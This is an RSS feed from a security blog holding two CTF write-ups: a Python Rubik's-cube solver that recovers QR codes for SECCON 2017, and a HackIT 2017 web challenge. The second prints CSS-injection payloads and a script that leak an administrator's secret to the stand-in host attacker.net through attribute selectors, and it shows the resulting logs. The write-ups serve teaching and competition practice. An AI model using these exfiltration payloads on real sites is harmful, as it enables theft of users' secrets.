feed.xml

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>dba</title>
		<description>Stylish Jekyll Theme</description>
		<link>/</link>
		<atom:link href="/feed.xml" rel="self" type="application/rss+xml" />
		
			<item>
				<title>CTF Write-up - SECCON 2017 Qubic Rube - Solving a Rubik's without force</title>
				<description>&lt;p&gt;Here’s the solution for a programming challenge I did during SECCON 2017.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/media/qubic1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;The challenge is a programming challenge, we get greeted with a three.js cube with 6 textures, one for each faces with a QR-Code on them. Using &lt;code class=&quot;highlighter-rouge&quot;&gt;zbar&lt;/code&gt; to read them, we will see this message:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;SECCON 2017 Online CTF                                   &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;No. 1 / 50                                               &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Qubic Rube                                               &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Next URL is:                                             &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Have fun!                                                &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;http://qubicrube.pwn.seccon.jp:33654/02c286df1bbd7923d1f7]&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Going to that page will redirect us to a page with another challenge:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/media/qubic2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Seems like we are going to code a rubiks solver.&lt;/p&gt;

&lt;h3 id=&quot;idea&quot;&gt;Idea&lt;/h3&gt;
&lt;p&gt;After seeing some other write-ups for this challenge, it seems like there’s a way to scramble the cube enough to give the solution with enough permutations. My solution is a little bit different in the fact that I am going to solve it using a rubiks solver rather than using a brute-forcy way.&lt;/p&gt;

&lt;p&gt;The different difficulties I encountered during the challenge development:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The color opposites of the cubes weren’t always the same (generally white is supposed to be at the opposite of yellow, red &amp;lt;&amp;gt; orange and blue &amp;lt;&amp;gt; green), but it wasn’t always the case and I lost some time because of that.&lt;/li&gt;
  &lt;li&gt;Sometimes the center of the cube wasn’t properly rotated, so I had to add a little bit more operations at the end of the script to try 3 other cube combinations and try to read a QR-code.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;the-code&quot;&gt;The code&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Download the images for the 6 faces (or use local versions)&lt;/li&gt;
  &lt;li&gt;Crop the images into 9 pieces&lt;/li&gt;
  &lt;li&gt;Read the center color for each faces&lt;/li&gt;
  &lt;li&gt;Send it to a rubiks solver, here I am using the python library “kociemba”.&lt;/li&gt;
  &lt;li&gt;Create the different essential moves R (right), L (left), U (up), D (down), F (front) and B (back).
    &lt;ul&gt;
      &lt;li&gt;I could’ve optimised a little bit the code here by creating inverse move but decided to just to the move 3 times when seeing a quote (Ex: &lt;code class=&quot;highlighter-rouge&quot;&gt;R'&lt;/code&gt;) and 2 times when I encounter a 2 (Ex: &lt;code class=&quot;highlighter-rouge&quot;&gt;R2&lt;/code&gt;).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Parse the solver’s output and use the different moves created&lt;/li&gt;
  &lt;li&gt;Put the pieces back together&lt;/li&gt;
  &lt;li&gt;Launch zbar on each of them 4 times (rotating the center piece)&lt;/li&gt;
&lt;/ul&gt;

&lt;noscript&gt;&lt;pre&gt;import kociemba
from PIL import Image
import requests
import argparse
import logging as log
import zbar
import sys
import os
import random
from subprocess import *

# last 504ded069e4db4e3bef9

url = &amp;quot;http://qubicrube.pwn.seccon.jp:33654/&amp;quot;

parser = argparse.ArgumentParser()
parser.add_argument(&amp;quot;prefix&amp;quot;, help=&amp;quot;the prefix to use, example 504ded069e4db4e3bef9&amp;quot;)
parser.add_argument(&amp;quot;-v&amp;quot;, &amp;quot;--verbose&amp;quot;, help=&amp;quot;increase output verbosity&amp;quot;,
	action=&amp;quot;store_true&amp;quot;)
parser.add_argument(&amp;quot;-d&amp;quot;, &amp;quot;--download&amp;quot;, help=&amp;quot;download the challenge&amp;quot;,
	action=&amp;quot;store_true&amp;quot;)

args = parser.parse_args()
prefix = str(args.prefix.split(&amp;quot;/&amp;quot;)[-1:][0])
if args.verbose:
	log.basicConfig(level=log.DEBUG, format=&amp;quot;[+] %(message)s&amp;quot;)
else:
	log.basicConfig(level=log.WARNING)

log.info(&amp;quot;Using prefix: &amp;quot;+prefix)

suffix = [&amp;quot;_R&amp;quot;, &amp;quot;_L&amp;quot;, &amp;quot;_U&amp;quot;, &amp;quot;_B&amp;quot;, &amp;quot;_F&amp;quot;, &amp;quot;_D&amp;quot;]

extension = &amp;quot;.png&amp;quot;

requests_queue = []

if args.download:
	for suf in suffix:
		current_name = prefix + suf + extension
		current_url = url + &amp;quot;images/&amp;quot; + current_name
		log.info(current_url)
		r = requests.get(current_url)
		path = current_name
		if r.status_code == 200:
			with open(path, &amp;#39;w+&amp;#39;) as f:
				for chunk in r.iter_content(1024):
					f.write(chunk)
		log.info(&amp;quot;Getting &amp;quot;+ prefix + suf)

s = 82

up = Image.open(prefix+&amp;quot;_U.png&amp;quot;)
right = Image.open(prefix+&amp;quot;_R.png&amp;quot;)
front = Image.open(prefix+&amp;quot;_F.png&amp;quot;)
down = Image.open(prefix+&amp;quot;_D.png&amp;quot;)
left = Image.open(prefix+&amp;quot;_L.png&amp;quot;)
back = Image.open(prefix+&amp;quot;_B.png&amp;quot;)

cube2 = []

def cropImages(img):
	for i in range (0, 9):
		cube2.append(img.copy().crop(((i % 3) * s, ((i / 3) % 3) * s, ((i % 3) + 1) * s, (((i / 3) % 3) + 1) * s)))

cropImages(up)
cropImages(right)
cropImages(front)
cropImages(down)
cropImages(left)
cropImages(back)

#URFDLB

def getColorBasic(img):
	x = 0
	while (img.getpixel((x, 0)) == (0, 0, 0)):
		x += 1
	return img.getpixel((x, 0))

U = getColorBasic(cube2[4])
R = getColorBasic(cube2[13])
F = getColorBasic(cube2[22])
D = getColorBasic(cube2[31])
L = getColorBasic(cube2[40])
B = getColorBasic(cube2[49])
# U = (255, 255, 255)
# D = (0, 81, 186) # blue
# R = (196, 30, 58) # red
# B = (255, 213, 0) # yellow
# F = (0, 158, 96) # green
# L = (255, 88, 0) # orange

def getColor(img):
	x = 0
	while (img.getpixel((x, 0)) == (0, 0, 0)):
		x += 1
	color = img.getpixel((x, 0))
	if color == U:
		return &amp;quot;U&amp;quot;
	elif color == R:
		return &amp;quot;R&amp;quot;
	elif color == F:
		return &amp;quot;F&amp;quot;
	elif color == D:
		return &amp;quot;D&amp;quot;
	elif color == L:
		return &amp;quot;L&amp;quot;
	elif color == B:
		return &amp;quot;B&amp;quot;
	else:
		logging.error(&amp;quot;wtf color&amp;quot;)
		img.save(&amp;quot;wtf.png&amp;quot;)
		sys.exit()

solve = &amp;quot;&amp;quot;
cube = &amp;quot;&amp;quot;
for i in cube2:
	cube += getColor(i)
log.info(cube)
solve = kociemba.solve(cube)

log.info(solve)

def regenerateCube():
	global up
	global right
	global front
	global down
	global left
	global back

	up = Image.new(&amp;quot;RGB&amp;quot;, (s*3, s*3))
	for i in range(0,9):
		up.paste(cube2[i], ((i % 3) * s,((i / 3) % 3) * s))
	up.save(&amp;quot;up.png&amp;quot;)

	right = Image.new(&amp;quot;RGB&amp;quot;, (s*3, s*3))
	for i in range(9,18):
		right.paste(cube2[i], ((i % 3) * s,((i / 3) % 3) * s))
	right.save(&amp;quot;right.png&amp;quot;)

	front = Image.new(&amp;quot;RGB&amp;quot;, (s*3, s*3))
	for i in range(18,27):
		front.paste(cube2[i], ((i % 3) * s,((i / 3) % 3) * s))
	front.save(&amp;quot;front.png&amp;quot;)

	down = Image.new(&amp;quot;RGB&amp;quot;, (s*3, s*3))
	for i in range(27,36):
		down.paste(cube2[i], ((i % 3) * s,((i / 3) % 3) * s))
	down.save(&amp;quot;down.png&amp;quot;)

	left = Image.new(&amp;quot;RGB&amp;quot;, (s*3, s*3))
	for i in range(36,45):
		left.paste(cube2[i], ((i % 3) * s,((i / 3) % 3) * s))
	left.save(&amp;quot;left.png&amp;quot;)

	back = Image.new(&amp;quot;RGB&amp;quot;, (s*3, s*3))
	for i in range(45,54):
		back.paste(cube2[i], ((i % 3) * s,((i / 3) % 3) * s))
	back.save(&amp;quot;back.png&amp;quot;)


#           00-01-02
#           03-04-05
#           06-07-08
#36-37-38   18-19-20      09-10-11    45-46-47
#39-40-41   21-22-23      12-13-14    48-49-50
#42-43-44   24-25-26      15-16-17    51-52-53
#           27-28-29
#           30-31-32
#           33-34-35

def moveR():
	log.info(&amp;quot;Moving right&amp;quot;)
	copy = []
	copy.append(cube2[2])
	copy.append(cube2[5])
	copy.append(cube2[8])
	cube2[2] = cube2[20]
	cube2[5] = cube2[23]
	cube2[8] = cube2[26]
	cube2[20] = cube2[29]
	cube2[23] = cube2[32]
	cube2[26] = cube2[35]
	cube2[29] = cube2[51].rotate(180)
	cube2[32] = cube2[48].rotate(180)
	cube2[35] = cube2[45].rotate(180)
	cube2[51] = copy[0].rotate(180)
	cube2[48] = copy[1].rotate(180)
	cube2[45] = copy[2].rotate(180)
	i = right.rotate(270)
	cube2[9] = i.crop((0, 0, s, s))
	cube2[10] = i.crop((s, 0, s*2, s))
	cube2[11] = i.crop((s*2, 0, s*3, s))
	cube2[12] = i.crop((0, s, s, s*2))
	cube2[13] = i.crop((s, s, s*2, s*2))
	cube2[14] = i.crop((s*2, s, s*3, s*2))
	cube2[15] = i.crop((0, s*2, s, s*3))
	cube2[16] = i.crop((s, s*2, s*2, s*3))
	cube2[17] = i.crop((s*2, s*2, s*3, s*3))


def moveD():
	log.info(&amp;quot;Moving down&amp;quot;)
	copy = []
	copy.append(cube2[24])
	copy.append(cube2[25])
	copy.append(cube2[26])
	cube2[24] = cube2[42]
	cube2[25] = cube2[43]
	cube2[26] = cube2[44]
	cube2[42] = cube2[51]
	cube2[43] = cube2[52]
	cube2[44] = cube2[53]
	cube2[51] = cube2[15]
	cube2[52] = cube2[16]
	cube2[53] = cube2[17]
	cube2[15] = copy[0]
	cube2[16] = copy[1]
	cube2[17] = copy[2]
	i = down.rotate(270)
	cube2[27] = i.crop((0, 0, s, s))
	cube2[28] = i.crop((s, 0, s*2, s))
	cube2[29] = i.crop((s*2, 0, s*3, s))
	cube2[30] = i.crop((0, s, s, s*2))
	cube2[31] = i.crop((s, s, s*2, s*2))
	cube2[32] = i.crop((s*2, s, s*3, s*2))
	cube2[33] = i.crop((0, s*2, s, s*3))
	cube2[34] = i.crop((s, s*2, s*2, s*3))
	cube2[35] = i.crop((s*2, s*2, s*3, s*3))

def moveL():
	log.info(&amp;quot;Moving left&amp;quot;)
	copy = []
	copy.append(cube2[27])
	copy.append(cube2[30])
	copy.append(cube2[33])
	cube2[27] = cube2[18]
	cube2[30] = cube2[21]
	cube2[33] = cube2[24]
	cube2[18] = cube2[0]
	cube2[21] = cube2[3]
	cube2[24] = cube2[6]
	cube2[0] = cube2[53].rotate(180)
	cube2[3] = cube2[50].rotate(180)
	cube2[6] = cube2[47].rotate(180)
	cube2[53] = copy[0].rotate(180)
	cube2[50] = copy[1].rotate(180)
	cube2[47] = copy[2].rotate(180)
	i = left.rotate(270)
	cube2[36] = i.crop((0, 0, s, s))
	cube2[37] = i.crop((s, 0, s*2, s))
	cube2[38] = i.crop((s*2, 0, s*3, s))
	cube2[39] = i.crop((0, s, s, s*2))
	cube2[40] = i.crop((s, s, s*2, s*2))
	cube2[41] = i.crop((s*2, s, s*3, s*2))
	cube2[42] = i.crop((0, s*2, s, s*3))
	cube2[43] = i.crop((s, s*2, s*2, s*3))
	cube2[44] = i.crop((s*2, s*2, s*3, s*3))

def moveU():
	log.info(&amp;quot;Moving up&amp;quot;)
	copy = []
	copy.append(cube2[18])
	copy.append(cube2[19])
	copy.append(cube2[20])
	cube2[18] = cube2[9]
	cube2[19] = cube2[10]
	cube2[20] = cube2[11]
	cube2[9] = cube2[45]
	cube2[10] = cube2[46]
	cube2[11] = cube2[47]
	cube2[45] = cube2[36]
	cube2[46] = cube2[37]
	cube2[47] = cube2[38]
	cube2[36] = copy[0]
	cube2[37] = copy[1]
	cube2[38] = copy[2]
	i = up.rotate(270)
	cube2[0] = i.crop((0, 0, s, s))
	cube2[1] = i.crop((s, 0, s*2, s))
	cube2[2] = i.crop((s*2, 0, s*3, s))
	cube2[3] = i.crop((0, s, s, s*2))
	cube2[4] = i.crop((s, s, s*2, s*2))
	cube2[5] = i.crop((s*2, s, s*3, s*2))
	cube2[6] = i.crop((0, s*2, s, s*3))
	cube2[7] = i.crop((s, s*2, s*2, s*3))
	cube2[8] = i.crop((s*2, s*2, s*3, s*3))

def moveF():
	log.info(&amp;quot;Moving front&amp;quot;)
	copy = []
	copy.append(cube2[15])
	copy.append(cube2[12])
	copy.append(cube2[9])
	cube2[15] = cube2[8].rotate(270)
	cube2[12] = cube2[7].rotate(270)
	cube2[9] = cube2[6].rotate(270)
	cube2[8] = cube2[38].rotate(270)
	cube2[7] = cube2[41].rotate(270)
	cube2[6] = cube2[44].rotate(270)
	cube2[38] = cube2[27].rotate(270)
	cube2[41] = cube2[28].rotate(270)
	cube2[44] = cube2[29].rotate(270)
	cube2[27] = copy[0].rotate(270)
	cube2[28] = copy[1].rotate(270)
	cube2[29] = copy[2].rotate(270)
	i = front.rotate(270)
	cube2[18] = i.crop((0, 0, s, s))
	cube2[19] = i.crop((s, 0, s*2, s))
	cube2[20] = i.crop((s*2, 0, s*3, s))
	cube2[21] = i.crop((0, s, s, s*2))
	cube2[22] = i.crop((s, s, s*2, s*2))
	cube2[23] = i.crop((s*2, s, s*3, s*2))
	cube2[24] = i.crop((0, s*2, s, s*3))
	cube2[25] = i.crop((s, s*2, s*2, s*3))
	cube2[26] = i.crop((s*2, s*2, s*3, s*3))

def moveB():
	log.info(&amp;quot;Moving back&amp;quot;)
	copy = []
	copy.append(cube2[0])
	copy.append(cube2[1])
	copy.append(cube2[2])
	cube2[0] = cube2[11].rotate(90)
	cube2[1] = cube2[14].rotate(90)
	cube2[2] = cube2[17].rotate(90)
	cube2[11] = cube2[35].rotate(90)
	cube2[14] = cube2[34].rotate(90)
	cube2[17] = cube2[33].rotate(90)
	cube2[35] = cube2[42].rotate(90)
	cube2[34] = cube2[39].rotate(90)
	cube2[33] = cube2[36].rotate(90)
	cube2[42] = copy[0].rotate(90)
	cube2[39] = copy[1].rotate(90)
	cube2[36] = copy[2].rotate(90)
	i = back.rotate(270)
	cube2[45] = i.crop((0, 0, s, s))
	cube2[46] = i.crop((s, 0, s*2, s))
	cube2[47] = i.crop((s*2, 0, s*3, s))
	cube2[48] = i.crop((0, s, s, s*2))
	cube2[49] = i.crop((s, s, s*2, s*2))
	cube2[50] = i.crop((s*2, s, s*3, s*2))
	cube2[51] = i.crop((0, s*2, s, s*3))
	cube2[52] = i.crop((s, s*2, s*2, s*3))
	cube2[53] = i.crop((s*2, s*2, s*3, s*3))

def checkStatus():
	global cube
	cube = &amp;quot;&amp;quot;
	for i in cube2:
		cube += getColor(i)
	log.info(cube)
	log.info(kociemba.solve(cube))

def parseSolve(solve):
	for i in solve.split(&amp;quot; &amp;quot;):
		if i[-1:] == &amp;quot;&amp;#39;&amp;quot;:
			eval(&amp;quot;move&amp;quot;+i[0:1]+&amp;quot;()&amp;quot;)
			regenerateCube()
			eval(&amp;quot;move&amp;quot;+i[0:1]+&amp;quot;()&amp;quot;)
			regenerateCube()
			eval(&amp;quot;move&amp;quot;+i[0:1]+&amp;quot;()&amp;quot;)
		elif i[-1:] == &amp;quot;2&amp;quot;:
			eval(&amp;quot;move&amp;quot;+i[0:1]+&amp;quot;()&amp;quot;)
			regenerateCube()
			eval(&amp;quot;move&amp;quot;+i[0:1]+&amp;quot;()&amp;quot;)
		else:
			eval(&amp;quot;move&amp;quot;+i[0:1]+&amp;quot;()&amp;quot;)
		regenerateCube()
		checkStatus()

parseSolve(solve)

scanner = zbar.ImageScanner()
scanner.parse_config(&amp;#39;enable&amp;#39;)

def decodeImage(img):
	image = zbar.Image(s*3, s*3, &amp;#39;Y800&amp;#39;, img.copy().convert(&amp;#39;L&amp;#39;).tostring())
	scanner.scan(image)
	for symbol in image:
		print &amp;quot;Found: [%s]&amp;quot; % symbol.data
	del(image)

def zbard():
	decodeImage(up)
	decodeImage(front)
	decodeImage(down)
	decodeImage(left)
	decodeImage(right)
	decodeImage(back)

def rotateCenter():
	cube2[4] = cube2[4].rotate(90)
	cube2[13] = cube2[13].rotate(90)
	cube2[22] = cube2[22].rotate(90)
	cube2[31] = cube2[31].rotate(90)
	cube2[40] = cube2[40].rotate(90)
	cube2[49] = cube2[49].rotate(90)


log.info(&amp;quot;Solved&amp;quot;)
zbard()

for i in range(3):
	rotateCenter()
	regenerateCube()
	zbard()
&lt;/pre&gt;&lt;/noscript&gt;
&lt;script src=&quot;https://gist.github.com/rioru/5f2c9246e06bb2040acce89c0ac20a07.js&quot;&gt; &lt;/script&gt;

</description>
				<pubDate>Sun, 10 Dec 2017 00:00:00 +0100</pubDate>
				<link>/ctf/ppm/2017/12/10/ctf-writeup-seccon-2017-rubiks.html</link>
				<guid isPermaLink="true">/ctf/ppm/2017/12/10/ctf-writeup-seccon-2017-rubiks.html</guid>
			</item>
		
			<item>
				<title>CTF Write-Up - HackIT CTF 2017 Web200</title>
				<description>&lt;p&gt;I participated at the HackIT 2017 CTF with team sec0d, and we finished first. As requested by some other teams, here’s a write-up for the Web200 CTF challenge of HackIT 2017.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/media/hackit_5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;The application seems pretty straightforward, we can register with an username, a password, and a secret. The goal of the challenge is to recover the secret of an administrator.&lt;/p&gt;

&lt;h3 id=&quot;solution&quot;&gt;Solution&lt;/h3&gt;

&lt;p&gt;Checking the source of the profile page, we can see some interesting information:&lt;/p&gt;

&lt;p&gt;First, the secret is shown in an input tag. We can see that we can edit part of our profile as well by using &lt;code class=&quot;highlighter-rouge&quot;&gt;edit.php&lt;/code&gt;. This page will edit the “about” field of our user.
We can also see that there is an administrator function commented in the html, hinting us of a potential XSS or similar attack, as the administrator will have a list of updated status in his dashboard.&lt;/p&gt;

&lt;p&gt;XSS tentatives will be proven to be unsuccessful, as we do not have access to the &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;gt;&lt;/code&gt; characters and we are not in an attribute. A bbcode function is however enabled on the application, allowing us to input interesting data, for example, &lt;code class=&quot;highlighter-rouge&quot;&gt;[code]Message[/code]&lt;/code&gt; will be translated to &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;pre&amp;gt;Message&amp;lt;/pre&amp;gt;&lt;/code&gt;. Testing all possible bbcodes, one, in particular will be interesting to us, &lt;code class=&quot;highlighter-rouge&quot;&gt;color&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/media/hackit_2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;color&lt;/code&gt; bbcode injected, we can see the result:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/media/hackit_3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As shown in the screenshot, the parameter “test” is inserted inside a &lt;code class=&quot;highlighter-rouge&quot;&gt;style&lt;/code&gt; tag, and since other characters are not correctly filtered, we can do a CSS injection:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-css&quot; data-lang=&quot;css&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;test;} * {background: url('http://attacker.net/test')&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Using that as input will change the background image of some HTML tags and generate a request to our website.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:02:05:01 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /test HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Now that we know we can inject CSS and that there is effectively a bot running on the app, we can try to recover the &lt;code class=&quot;highlighter-rouge&quot;&gt;input&lt;/code&gt; value using attribute selector in CSS:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-css&quot; data-lang=&quot;css&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;test;} input[value^=&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;h4ck1t&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot; i]{background: url('http://attacker.net/confirmed')&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This will check if the value of the input starts with h4ck1t, the &lt;code class=&quot;highlighter-rouge&quot;&gt;i&lt;/code&gt; modifier after the selector is there to be case insensitive, since the page will lowercase all input value sent.&lt;/p&gt;

&lt;p&gt;After sending that, we got our response, the flag format being &lt;code class=&quot;highlighter-rouge&quot;&gt;h4ck1t{flag}&lt;/code&gt;, we can confirm that we only have to automate the attack :)&lt;/p&gt;

&lt;p&gt;The server and bot being somewhat unreliable, we had to try everything manually. On a stable challenge, this challenge could be solved using a loop checking the character one by one.&lt;/p&gt;

&lt;noscript&gt;&lt;pre&gt;from pwn import *
from requests import *
import string
import sys
import time

def edit(s, cookie, bla):
        s.post(&amp;quot;http://tasks.ctf.com.ua:13373/edit.php&amp;quot;, cookies=cookie, data={&amp;quot;about&amp;quot;: bla})

s = Session()

cookie = {&amp;quot;PHPSESSID&amp;quot;: &amp;quot;85gdkck3eegdmu215o02ac8rq0&amp;quot;}
bla = &amp;#39;&amp;#39;&amp;#39;[color=&amp;quot;test;} input[value^=&amp;quot;&amp;#39;&amp;#39;&amp;#39;+sys.argv[1]+&amp;#39;&amp;#39;&amp;#39;&amp;quot; i]{border-image: url(&amp;#39;http://attacker.net/?a=&amp;#39;&amp;#39;&amp;#39;+ sys.argv[1]+&amp;#39;&amp;#39;&amp;#39;&amp;quot;]a[/color]&amp;#39;&amp;#39;&amp;#39;
log.info(&amp;quot;Sending [%s, %s]&amp;quot; % (i, bla))
edit(s, cookie, bla)
edit(s, cookie, bla)

r = s.get(&amp;quot;http://tasks.ctf.com.ua:13373/profile.php&amp;quot;, cookies=cookie)

print r.text&lt;/pre&gt;&lt;/noscript&gt;
&lt;script src=&quot;https://gist.github.com/rioru/8dd25be546c6bbcb3974c8deb549224c.js&quot;&gt; &lt;/script&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Usage: python web200.py 'h4ck1t{c...'&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And finally, in our logs, after a little bit of guessing and a sleep() time of 10 seconds…&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:11:51 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:12:04 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:13:21 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_10;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:14:06 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1n0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
80.252.154.43 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;27/Aug/2017:04:14:12 +0200] &lt;span class=&quot;s2&quot;&gt;&quot;GET /?a=h4ck1t{c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_1nj0;} HTTP/1.1&quot;&lt;/span&gt; 302 5 &lt;span class=&quot;s2&quot;&gt;&quot;http://tasks.ctf.com.ua:13373/profile.php&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0&quot;&lt;/span&gt;
